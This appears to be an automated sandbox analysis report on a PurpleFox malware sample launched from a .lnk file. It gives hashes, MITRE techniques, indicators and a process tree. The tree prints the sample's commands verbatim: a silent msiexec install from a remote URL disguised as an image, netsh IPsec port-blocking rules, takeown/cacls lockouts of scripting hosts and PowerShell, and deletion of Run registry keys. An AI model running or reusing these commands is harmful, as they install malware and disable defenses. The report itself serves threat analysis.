purplefox | 2971aa6c623ae9f42fd06a7dcf166598857ff63548937ff663ca972bc40fd7c7

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
19/09/2023, 15:56

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General

Target

file.lnk
Size

2KB
MD5

b9c5bbb9e1c14a7d34087b9dab239a8c
SHA1

c71c5c794d76c252c77eae881685108a0a01f5ee
SHA256

2971aa6c623ae9f42fd06a7dcf166598857ff63548937ff663ca972bc40fd7c7
SHA512

7c0ceb15bc72978264fb36810f3b01aae018423227b4edc0fee0321b6a487bfef3964e080a49e6d27099642a74d164d4b662929fb9405a45caacfaeeb89c5db2

Score

10^/10

purplefox discovery evasion rootkit trojan

Malware Config

Signatures

Detect PurpleFox MSI 1 IoCs

Detect PurpleFox MSI.

rootkit

resource	yara_rule
behavioral1/files/0x00070000000120e4-40.dat	purplefox_msi

PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
rootkit trojan purplefox

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2816	msiexec.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 4 IoCs

pid	Process
692	MsiExec.exe
692	MsiExec.exe
692	MsiExec.exe
692	MsiExec.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
288	takeown.exe
928	takeown.exe
1844	takeown.exe
2660	takeown.exe
936	takeown.exe
2756	takeown.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2488	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI621F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6319.tmp	msiexec.exe
File created	C:\Windows\Installer\f7665c7.ipi	msiexec.exe
File created	C:\Windows\.xml	msiexec.exe
File opened for modification	C:\Windows\Installer\f7665c7.ipi	msiexec.exe
File created	C:\Windows\dbcode86mk.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5BA7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5EC4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI64EF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6C4F.tmp	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2204	sc.exe
2652	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 44 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2E	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40075ad611ebd901	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D	msiexec.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2488	msiexec.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2816	msiexec.exe
2816	msiexec.exe
1524	powershell.exe

Suspicious use of AdjustPrivilegeToken 60 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2488	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2488	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeSecurityPrivilege	2816	msiexec.exe
Token: SeCreateTokenPrivilege	2488	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2488	msiexec.exe
Token: SeLockMemoryPrivilege	2488	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2488	msiexec.exe
Token: SeMachineAccountPrivilege	2488	msiexec.exe
Token: SeTcbPrivilege	2488	msiexec.exe
Token: SeSecurityPrivilege	2488	msiexec.exe
Token: SeTakeOwnershipPrivilege	2488	msiexec.exe
Token: SeLoadDriverPrivilege	2488	msiexec.exe
Token: SeSystemProfilePrivilege	2488	msiexec.exe
Token: SeSystemtimePrivilege	2488	msiexec.exe
Token: SeProfSingleProcessPrivilege	2488	msiexec.exe
Token: SeIncBasePriorityPrivilege	2488	msiexec.exe
Token: SeCreatePagefilePrivilege	2488	msiexec.exe
Token: SeCreatePermanentPrivilege	2488	msiexec.exe
Token: SeBackupPrivilege	2488	msiexec.exe
Token: SeRestorePrivilege	2488	msiexec.exe
Token: SeShutdownPrivilege	2488	msiexec.exe
Token: SeDebugPrivilege	2488	msiexec.exe
Token: SeAuditPrivilege	2488	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2488	msiexec.exe
Token: SeChangeNotifyPrivilege	2488	msiexec.exe
Token: SeRemoteShutdownPrivilege	2488	msiexec.exe
Token: SeUndockPrivilege	2488	msiexec.exe
Token: SeSyncAgentPrivilege	2488	msiexec.exe
Token: SeEnableDelegationPrivilege	2488	msiexec.exe
Token: SeManageVolumePrivilege	2488	msiexec.exe
Token: SeImpersonatePrivilege	2488	msiexec.exe
Token: SeCreateGlobalPrivilege	2488	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeShutdownPrivilege	2360	powercfg.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	takeown.exe
Token: SeTakeOwnershipPrivilege	288	takeown.exe
Token: SeTakeOwnershipPrivilege	928	takeown.exe
Token: SeTakeOwnershipPrivilege	1844	takeown.exe
Token: SeTakeOwnershipPrivilege	2660	takeown.exe
Token: SeTakeOwnershipPrivilege	936	takeown.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe
Token: SeRestorePrivilege	2816	msiexec.exe
Token: SeTakeOwnershipPrivilege	2816	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2488	2552	cmd.exe	29
PID 2552 wrote to memory of 2488	2552	cmd.exe	29
PID 2552 wrote to memory of 2488	2552	cmd.exe	29
PID 2552 wrote to memory of 2488	2552	cmd.exe	29
PID 2552 wrote to memory of 2488	2552	cmd.exe	29
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 692	2816	msiexec.exe	31
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 2816 wrote to memory of 1668	2816	msiexec.exe	33
PID 1668 wrote to memory of 2360	1668	MsiExec.exe	34
PID 1668 wrote to memory of 2360	1668	MsiExec.exe	34
PID 1668 wrote to memory of 2360	1668	MsiExec.exe	34
PID 1668 wrote to memory of 2360	1668	MsiExec.exe	34
PID 1668 wrote to memory of 1524	1668	MsiExec.exe	36
PID 1668 wrote to memory of 1524	1668	MsiExec.exe	36
PID 1668 wrote to memory of 1524	1668	MsiExec.exe	36
PID 1668 wrote to memory of 1524	1668	MsiExec.exe	36
PID 1668 wrote to memory of 1608	1668	MsiExec.exe	38
PID 1668 wrote to memory of 1608	1668	MsiExec.exe	38
PID 1668 wrote to memory of 1608	1668	MsiExec.exe	38
PID 1668 wrote to memory of 1608	1668	MsiExec.exe	38
PID 1668 wrote to memory of 2656	1668	MsiExec.exe	40
PID 1668 wrote to memory of 2656	1668	MsiExec.exe	40
PID 1668 wrote to memory of 2656	1668	MsiExec.exe	40
PID 1668 wrote to memory of 2656	1668	MsiExec.exe	40
PID 1668 wrote to memory of 936	1668	MsiExec.exe	42
PID 1668 wrote to memory of 936	1668	MsiExec.exe	42
PID 1668 wrote to memory of 936	1668	MsiExec.exe	42
PID 1668 wrote to memory of 936	1668	MsiExec.exe	42
PID 1668 wrote to memory of 1180	1668	MsiExec.exe	44
PID 1668 wrote to memory of 1180	1668	MsiExec.exe	44
PID 1668 wrote to memory of 1180	1668	MsiExec.exe	44
PID 1668 wrote to memory of 1180	1668	MsiExec.exe	44
PID 1668 wrote to memory of 2976	1668	MsiExec.exe	46
PID 1668 wrote to memory of 2976	1668	MsiExec.exe	46
PID 1668 wrote to memory of 2976	1668	MsiExec.exe	46
PID 1668 wrote to memory of 2976	1668	MsiExec.exe	46
PID 1668 wrote to memory of 1640	1668	MsiExec.exe	48
PID 1668 wrote to memory of 1640	1668	MsiExec.exe	48
PID 1668 wrote to memory of 1640	1668	MsiExec.exe	48
PID 1668 wrote to memory of 1640	1668	MsiExec.exe	48
PID 1668 wrote to memory of 2364	1668	MsiExec.exe	50
PID 1668 wrote to memory of 2364	1668	MsiExec.exe	50
PID 1668 wrote to memory of 2364	1668	MsiExec.exe	50
PID 1668 wrote to memory of 2364	1668	MsiExec.exe	50
PID 1668 wrote to memory of 1236	1668	MsiExec.exe	52
PID 1668 wrote to memory of 1236	1668	MsiExec.exe	52
PID 1668 wrote to memory of 1236	1668	MsiExec.exe	52
PID 1668 wrote to memory of 1236	1668	MsiExec.exe	52
PID 1668 wrote to memory of 1916	1668	MsiExec.exe	54
PID 1668 wrote to memory of 1916	1668	MsiExec.exe	54
PID 1668 wrote to memory of 1916	1668	MsiExec.exe	54
PID 1668 wrote to memory of 1916	1668	MsiExec.exe	54
PID 1668 wrote to memory of 2224	1668	MsiExec.exe	56

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\file.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i http://black-sun-a335.asyorfplmnv.workers.dev/mnwODBptK6jU/5hwtrLyyHFiv/7b0985c861986ec9e2087ade8273e544009d68e1/SsdxxIp8DqeQ.jpg /q
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2488

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 31248651124D86C7F49F74FC291842C4
  2⤵
  - Loads dropped DLL
  PID:692
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B603FC63D05C17C02752C1E98CD0510C M Global\MSI0000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\SysWOW64\powercfg.exe
    "C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
    3⤵
    - Modifies data under HKEY_USERS
    PID:1608
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
    3⤵
    - Modifies data under HKEY_USERS
    PID:2656
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:936
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1180
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2976
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1640
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2364
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1236
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1916
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2224
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1700
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:3016
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:848
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2968
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2384
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1656
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2896
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2912
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2804
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block
    3⤵
    - Modifies data under HKEY_USERS
    PID:2000
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
    3⤵
    - Modifies data under HKEY_USERS
    PID:2484
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
    3⤵
    - Modifies data under HKEY_USERS
    PID:672
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:288
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
    3⤵
    PID:832
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
    3⤵
    PID:1448
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1844
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N
    3⤵
    PID:2448
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2660
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:1352
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:936
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:2344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:2268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:2336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f
    3⤵
    PID:2928
